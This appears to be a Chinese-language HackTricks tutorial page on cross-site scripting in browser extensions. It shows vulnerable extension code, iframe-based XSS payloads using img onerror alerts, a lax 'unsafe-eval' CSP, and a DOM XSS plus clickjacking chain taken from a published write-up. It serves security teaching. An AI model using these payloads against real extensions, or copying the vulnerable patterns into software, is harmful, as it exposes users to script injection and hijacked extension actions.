# BrowExt - XSS 示例

{{#include ../../banners/hacktricks-training.md}}

## 通过 Iframe 的跨站脚本攻击 (XSS)

在此设置中，实施了一个 **内容脚本** 来实例化一个 Iframe，将带有查询参数的 URL 作为 Iframe 的源：
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
一个公开可访问的 HTML 页面，**`message.html`**，旨在根据 URL 中的参数动态添加内容到文档主体：
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
在对手的页面上执行恶意脚本，修改 Iframe 源的 `content` 参数以引入 **XSS payload**。通过更新 Iframe 的源以包含有害脚本来实现这一点：
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`

document.querySelector("iframe").src = maliciousURL
}, 1000)
```
过于宽松的内容安全策略，例如：
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
允许执行JavaScript，使系统容易受到XSS攻击。

引发XSS的另一种方法是创建一个Iframe元素，并将其源设置为包含有害脚本作为`content`参数：
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## DOM-based XSS + ClickJacking

这个例子取自于 [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。

核心问题源于位于 **`/html/bookmarks.html`** 的基于DOM的跨站脚本（XSS）漏洞。以下是有问题的JavaScript，属于 **`bookmarks.js`**：
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false

var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
此代码片段从 **`txtName`** 输入字段获取 **值**，并使用 **字符串连接生成 HTML**，然后通过 jQuery 的 `.append()` 函数将其附加到 DOM。

通常，Chrome 扩展的内容安全策略 (CSP) 会防止此类漏洞。然而，由于 **CSP 放宽了 ‘unsafe-eval’** 和使用 jQuery 的 DOM 操作方法（这些方法使用 [`globalEval()`](https://api.jquery.com/jquery.globaleval/) 将脚本传递给 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) 在 DOM 插入时），仍然可以进行利用。

虽然这个漏洞很重要，但其利用通常依赖于用户交互：访问页面、输入 XSS 负载并激活“添加”按钮。

为了增强这个漏洞，利用了一个次要的 **clickjacking** 漏洞。Chrome 扩展的清单展示了一个广泛的 `web_accessible_resources` 策略：
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
值得注意的是，**`/html/bookmarks.html`** 页面容易受到框架攻击，因此容易受到 **clickjacking** 的影响。此漏洞被利用，将页面嵌入攻击者的网站中，并用 DOM 元素覆盖，以欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。

## References

- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)

{{#include ../../banners/hacktricks-training.md}}